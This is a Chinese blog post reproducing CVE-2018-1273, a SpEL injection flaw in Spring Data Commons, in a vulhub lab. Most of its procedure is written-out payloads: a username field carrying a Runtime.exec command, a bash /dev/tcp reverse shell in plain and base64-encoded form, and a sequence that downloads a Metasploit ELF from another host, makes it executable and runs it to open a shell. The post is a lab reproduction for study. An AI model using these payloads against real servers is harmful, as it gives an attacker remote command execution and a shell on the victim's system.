1.影响版本
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
2.漏洞原理
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令
3.具体流程
打开漏洞环境,后可以看到这个页面
可以利用dirb进行扫描目录,但是好像没有必要,毕竟是复现漏洞,已经知道有一个users了
打开http://192.168.188.128:8080/users可以看到这个页面
随便填上几个数,用burpsuiter抓包,将下面的 post方式提交的的信息用payload替换
payload
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/111111")]=&password=&repeatedPassword=
可以看到这个111111已经成功创建
拿到shell
bash -i >& /dev/tcp/192.168.140.43/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MC40My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MC40My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=
但是尝试之后并没有成功,利用msf生成一个elf,
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("weget http://192.168.188.139:1234/mshell.elf")]=&password=&repeatedPassword=
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 ./mshell.elf")]=&password=&repeatedPassword=
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("./mshell.elf")]=&password=&repeatedPassword=
之后就可以看到,shell已经成功反弹到msf
4.参考博客
msf生成linux elf木马反弹shell_msf elf_青果@的博客-CSDN博客
漏洞复现-CVE-2018-1273-Spring Data Commons 远程命令执行 - 铺哩 - 博客园 (cnblogs.com)
标签:vulhub,spring,1273,elf,Commons,漏洞,Spring,password,Data From: https://www.cnblogs.com/qi-yue/p/17867411.html